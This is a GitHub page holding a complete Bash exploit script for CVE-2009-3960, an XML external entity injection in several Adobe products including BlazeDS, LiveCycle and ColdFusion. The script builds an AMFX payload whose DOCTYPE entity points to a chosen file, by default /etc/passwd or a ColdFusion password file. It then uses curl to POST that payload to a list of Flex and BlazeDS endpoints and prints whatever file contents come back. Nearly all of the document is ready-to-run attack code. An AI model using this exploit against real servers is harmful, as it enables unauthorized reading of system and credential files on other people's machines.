Permalink
Cannot retrieve contributors at this time
Join GitHub today
GitHub is home to over 28 million developers working together to host and review code, manage projects, and build software together.
Sign up
Fetching contributors…
Cannot retrieve contributors at this time
| #!/bin/bash | |
| # | |
| # Exploit Title: Adobe XML Injection file content disclosure | |
| # Date: 07-04-2017 | |
| # Exploit Author: Thomas Sluyter | |
| # Website: https://www.kilala.nl | |
| # Vendor Homepage: http://www.adobe.com/support/security/bulletins/apsb10-05.html | |
| # Version: Multiple Adobe products | |
| # Tested on: Windows Server 2003, ColdFusion 8.0 Enterprise | |
| # CVE : 2009-3960 | |
| # | |
| # Shell script that let's you exploit a known XML injection vulnerability | |
| # in a number of Adobe products, allowing you to read files that are otherwise | |
| # inaccessible. In Metasploit, this is achieved with auxiliary:scanner:adobe_xml_inject | |
| # This script is a Bash implementation of the PoC multiple/dos/11529.txt. | |
| # | |
| # According to the original Metasploit code, this attack works with: | |
| # "Multiple Adobe Products: BlazeDS 3.2 and earlier versions, | |
| # LiveCycle 9.0, 8.2.1, and 8.0.1, LiveCycle Data Services 3.0, 2.6.1, | |
| # and 2.5.1, Flex Data Services 2.0.1, ColdFusion 9.0, 8.0.1, 8.0, and 7.0.2" | |
| # | |
| PROGNAME="$(basename $0)" # This script | |
| TIMESTAMP=$(date +%y%m%d%H%M) # Used for scratchfiles | |
| SCRATCHFILE="/tmp/${PROGNAME}.${TIMESTAMP}" # Used as generic scratchfile | |
| EXITCODE="0" # Assume success, changes on errors | |
| CURL="/usr/bin/curl" # Other locations are detected with "which" | |
| SSL="0" # Overridden by -s | |
| DEBUG="0" # Overridden by -d | |
| BREAKFOUND="0" # Overridden by -b | |
| TARGETHOST="" # Overridden by -h | |
| TARGETPORT="8400" # Overridden by -p | |
| READFILE="/etc/passwd" # Overridden by -f | |
| ################################## OVERHEAD SECTION | |
| # | |
| # Various functions for overhead purposes. | |
| # | |
| # Defining our own logger function, so we can switch between stdout and syslog. | |
| logger() { | |
| LEVEL="$1" | |
| MESSAGE="$2" | |
| # You may switch the following two, if you need to log to syslog. | |
| #[[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || /usr/bin/logger -p ${LEVEL} "$MESSAGE" | |
| [[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || echo "${LEVEL} $MESSAGE" | |
| } | |
| ExitCleanup() { | |
| EXITCODE=${1} | |
| rm -f ${SCRATCHFILE}* >/dev/null 2>&1 | |
| echo "" | |
| exit ${EXITCODE} | |
| } | |
| # Many thanks to http://www.linuxjournal.com/content/validating-ip-address-bash-script | |
| ValidIP() { | |
| local IP=${1} | |
| local STAT=1 | |
| if [[ ${IP} =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]] | |
| then | |
| OIFS=$IFS; IFS='.' | |
| IP=(${IP}) | |
| IFS=$OIFS | |
| [[ (${IP[0]} -le 255) && (${IP[1]} -le 255) && (${IP[2]} -le 255) && (${IP[3]} -le 255) ]] | |
| stat=$? | |
| fi | |
| return $stat | |
| } | |
| # Function to output help information. | |
| show-help() { | |
| echo "" | |
| cat << EOF | |
| ${PROGNAME} [-?] [-d] [-s] [-b] -h host [-p port] [-f file] | |
| -? Show this help message. | |
| -d Debug mode, outputs more kruft on stdout. | |
| -s Use SSL / HTTPS, instead of HTTP. | |
| -b Break on the first valid answer found. | |
| -h Target host | |
| -p Target port, defaults to 8400. | |
| -f Full path to file to grab, defaults to /etc/passwd. | |
| This script exploits a known vulnerability in a set of Adobe applications. Using one | |
| of a few possible URLs on the target host (-h) we attempt to read a file (-f) that is | |
| normally inaccessible. | |
| NOTE: Windows paths use \\, so be sure to properly escape them when using -f! For example: | |
| ${PROGNAME} -h 192.168.1.20 -f c:\\\\coldfusion8\\\\lib\\\\password.properties | |
| ${PROGNAME} -h 192.168.1.20 -f 'c:\\coldfusion8\\lib\\password.properties' | |
| This script relies on CURL, so please have it in your PATH. | |
| EOF | |
| } | |
| # Parsing and verifying the passed parameters. | |
| OPTIND=1 | |
| while getopts "?dsbh:p:f:" opt; do | |
| case "$opt" in | |
| \?) show-help; ExitCleanup 0 ;; | |
| d) DEBUG="1" ;; | |
| s) SSL="1" ;; | |
| b) BREAKFOUND="1" ;; | |
| h) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1) | |
| ValidIP ${OPTARG}; if [[ $? -eq 0 ]] | |
| then TARGETHOST=${OPTARG} | |
| else TARGETHOST=$(nslookup ${OPTARG} | grep ^Name | awk '{print $2}') | |
| [[ $? -gt 0 ]] && (logger ERROR "Target host ${TARGETHOST} not found in DNS."; ExitCleanup 1) | |
| fi ;; | |
| p) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1) | |
| if [[ ! -z $(echo ${OPTARG} | tr -d '[:alnum:]') ]] | |
| then logger ERROR "Target port ${OPTARG} is incorrect."; ExitCleanup 1 | |
| else TARGETPORT=${OPTARG} | |
| fi ;; | |
| f) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1) | |
| if [[ (-z $(echo ${OPTARG} | grep ^\/)) && (-z $(echo ${OPTARG} | grep ^[a-Z]:)) ]] | |
| then logger ERROR "File is NOT specified with full Unix or Windows path."; ExitCleanup 1 | |
| else READFILE=${OPTARG} | |
| fi ;; | |
| *) show-help; ExitCleanup 0 ;; | |
| esac | |
| done | |
| [[ $(which curl) ]] && CURL=$(which curl) || (logger ERROR "CURL was not found."; ExitCleanup 1) | |
| [[ -z ${TARGETHOST} ]] && (logger ERROR "Target host was not set."; ExitCleanup 1) | |
| [[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with host/port/file: ${TARGETHOST},${TARGETPORT},${READFILE}." | |
| ################################## GETTING TO WORK | |
| # | |
| # | |
| PATHLIST=("/flex2gateway/" "/flex2gateway/http" "/flex2gateway/httpsecure" \ | |
| "/flex2gateway/cfamfpolling" "/flex2gateway/amf" "/flex2gateway/amfpolling" \ | |
| "/messagebroker/http" "/messagebroker/httpsecure" "/blazeds/messagebroker/http" \ | |
| "/blazeds/messagebroker/httpsecure" "/samples/messagebroker/http" \ | |
| "/samples/messagebroker/httpsecure" "/lcds/messagebroker/http" \ | |
| "/lcds/messagebroker/httpsecure" "/lcds-samples/messagebroker/http" \ | |
| "/lcds-samples/messagebroker/httpsecure") | |
| echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>" > ${SCRATCHFILE} | |
| echo "<!DOCTYPE test [ <!ENTITY x3 SYSTEM \"${READFILE}\"> ]>" >> ${SCRATCHFILE} | |
| echo "<amfx ver=\"3\" xmlns=\"http://www.macromedia.com/2005/amfx\">" >> ${SCRATCHFILE} | |
| echo "<body><object type=\"flex.messaging.messages.CommandMessage\"><traits>" >> ${SCRATCHFILE} | |
| echo "<string>body</string><string>clientId</string><string>correlationId</string><string>destination</string>" >> ${SCRATCHFILE} | |
| echo "<string>headers</string><string>messageId</string><string>operation</string><string>timestamp</string>" >> ${SCRATCHFILE} | |
| echo "<string>timeToLive</string></traits><object><traits /></object><null /><string /><string /><object>" >> ${SCRATCHFILE} | |
| echo "<traits><string>DSId</string><string>DSMessagingVersion</string></traits><string>nil</string>" >> ${SCRATCHFILE} | |
| echo "<int>1</int></object><string>&x3;</string><int>5</int><int>0</int><int>0</int></object></body></amfx>" >> ${SCRATCHFILE} | |
| if [[ ${DEBUG} -gt 0 ]] | |
| then | |
| logger DEBUG "XML file sent to target host reads as follows:" | |
| echo "======================================" | |
| cat ${SCRATCHFILE} | |
| echo "======================================" | |
| echo "" | |
| fi | |
| let CONTENTLENGTH=$(wc -c ${SCRATCHFILE} | awk '{print $1}')-1 | |
| for ADOBEPATH in "${PATHLIST[@]}" | |
| do | |
| [[ ${SSL} -gt 0 ]] && PROTOCOL="https" || PROTOCOL="http" | |
| URI="${PROTOCOL}://${TARGETHOST}:${TARGETPORT}${ADOBEPATH}" | |
| [[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with URI: ${URI}" | |
| # Header contents based on a tcpdump capture of original exploit being | |
| # run from Metasploit. | |
| HEADER="-H \"Host: ${TARGETHOST}\" -H \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\" -H \"Content-Type: application/x-www-form-urlencoded\" -H \"Content-Length: ${CONTENTLENGTH}\"" | |
| CURLPOST="${CURL} -X POST -k -s --http1.1 ${HEADER} -w \"%{http_code}\" -d @- ${URI}" | |
| [[ ${DEBUG} -gt 0 ]] && logger DEBUG "Using this CURL command: ${CURLPOST}" | |
| # The tr command dikes out any non-ASCII characters which might mess with output. | |
| CURLOUTPUT=$(cat ${SCRATCHFILE} | ${CURLPOST} | tr -cd '\11\12\15\40-\176' 2>&1) | |
| # Output is pretty garbled and the HTTP return code is enclosed in double quotes. | |
| # I need to grab the last 5 chars (includes NULL EOF) and remove the ". | |
| CURLCODE=$(echo ${CURLOUTPUT} | tail -c5 | tr -cd [:digit:]) | |
| if [[ ${DEBUG} -gt 0 ]] | |
| then | |
| logger DEBUG "CURL was given this HTTP return code: ${CURLCODE}." | |
| logger DEBUG "Output from CURL reads as follows:" | |
| echo "======================================" | |
| echo "${CURLOUTPUT}" | |
| echo "======================================" | |
| echo "" | |
| fi | |
| logger INFO "${CURLCODE} for ${URI}" | |
| if [[ (${CURLCODE} -eq 200) && (! -z $(echo ${CURLOUTPUT} | grep "<?xml version=")) ]] | |
| then | |
| echo "Read from ${URI}:" | |
| echo "${CURLOUTPUT}" | sed 's/^[^<]*</</' | |
| [[ ${BREAKFOUND} -gt 0 ]] && ExitCleanup 0 | |
| fi | |
| if [[ ${DEBUG} -gt 0 ]] | |
| then | |
| echo -e "\nReady to continue with the next URI? [y/n]: \c" | |
| read READY | |
| case ${READY} in | |
| y|Y|yes) logger DEBUG "Moving to next URI."; echo "" ;; | |
| *) logger DEBUG "Aborting..."; ExitCleanup 1 ;; | |
| esac | |
| fi | |
| done | |
| ExitCleanup 0 | |